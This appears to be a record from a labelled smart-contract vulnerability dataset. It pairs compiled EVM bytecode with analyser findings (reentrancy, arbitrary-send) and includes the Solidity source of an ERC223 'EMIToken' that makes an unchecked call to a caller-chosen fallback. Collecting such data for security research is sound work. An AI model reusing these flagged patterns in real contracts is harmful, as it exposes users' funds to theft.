90613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055eddf5485876afab8f7349126f96089c08b5c521950e1d65f1b7570d01985b964736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,060
0x6020b82310ad0ca623beaca16c3c7014e5038f44
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * @dev Multiplies two numbers, throws on overflow. */ function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } //contract for defining owener and to transfer owenership to others contract Ownable { address public owner; // contract creator will be the owner function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /* New ERC223 contract interface */ contract ERC223Interface { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value, bytes data) public returns (bool ok); function transfer(address to, uint256 value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data); } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); function transfer(address to, uint256 value) public returns (bool ok); function transferFrom(address _from, address _to, uint256 _value) public returns(bool success); function approve(address _spender, uint256 _value) public returns(bool success); function allowance(address _owner, address _spender) public constant returns(uint256 remaining); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract StandardToken is ERC223Interface, ERC20Interface, SafeMath, ContractReceiver { mapping(address => uint) balances; mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = safeSub(balanceOf(_from), _value); balances[_to] = safeAdd(balanceOf(_to), _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // @dev function to increaseApproval to the spender function increaseApproval (address _spender, uint256 _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender],_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // @dev function to decreaseApproval to spender function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } //@dev function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint256 _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } // @dev contract that can burn tokens or can reduce the totalSupply tokens contract BurnableToken is StandardToken,Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public returns (bool) { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = safeSub(balances[burner], _value); totalSupply = safeSub(totalSupply, _value); emit Burn(burner, _value); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation */ contract MintableToken is BurnableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { bytes memory empty; require ( _amount > 0); // if (balanceOf(msg.sender) < _value) revert(); // if( safeAdd(circulatingCoins, _amount) > totalSupply ) revert(); totalSupply = safeAdd(totalSupply, _amount); balances[_to] = safeAdd(balances[_to], _amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount, empty); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract EMIToken is StandardToken, MintableToken { string public name = "EMITOKEN"; string public symbol = "EMI"; uint8 public decimals = 8; uint256 public initialSupply = 600000000 * (10 ** uint256(decimals)); function EMIToken() public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(0x0, msg.sender, initialSupply); } }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015a578063095ea7b3146101e857806318160ddd1461024257806323b872dd1461026b578063313ce567146102e457806333a581d214610313578063378dc3dc1461033c57806340c10f191461036557806342966c68146103bf57806366188463146103fa57806370a08231146104545780637d64bcb4146104a15780638da5cb5b146104ce57806395d89b4114610523578063a9059cbb146105b1578063be45fd621461060b578063c0ee0b8a146106a8578063d73dd6231461072d578063dd62ed3e14610787578063f2fde38b146107f3578063f6368f8a1461082c575b600080fd5b341561013857600080fd5b61014061090c565b604051808215151515815260200191505060405180910390f35b341561016557600080fd5b61016d61091f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b610228600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109bd565b604051808215151515815260200191505060405180910390f35b341561024d57600080fd5b610255610aaf565b6040518082815260200191505060405180910390f35b341561027657600080fd5b6102ca600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ab5565b604051808215151515815260200191505060405180910390f35b34156102ef57600080fd5b6102f7610d18565b604051808260ff1660ff16815260200191505060405180910390f35b341561031e57600080fd5b610326610d2b565b6040518082815260200191505060405180910390f35b341561034757600080fd5b61034f610d4f565b6040518082815260200191505060405180910390f35b341561037057600080fd5b6103a5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d55565b604051808215151515815260200191505060405180910390f35b34156103ca57600080fd5b6103e06004808035906020019091905050610fa6565b604051808215151515815260200191505060405180910390f35b341561040557600080fd5b61043a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061115b565b604051808215151515815260200191505060405180910390f35b341561045f57600080fd5b61048b60048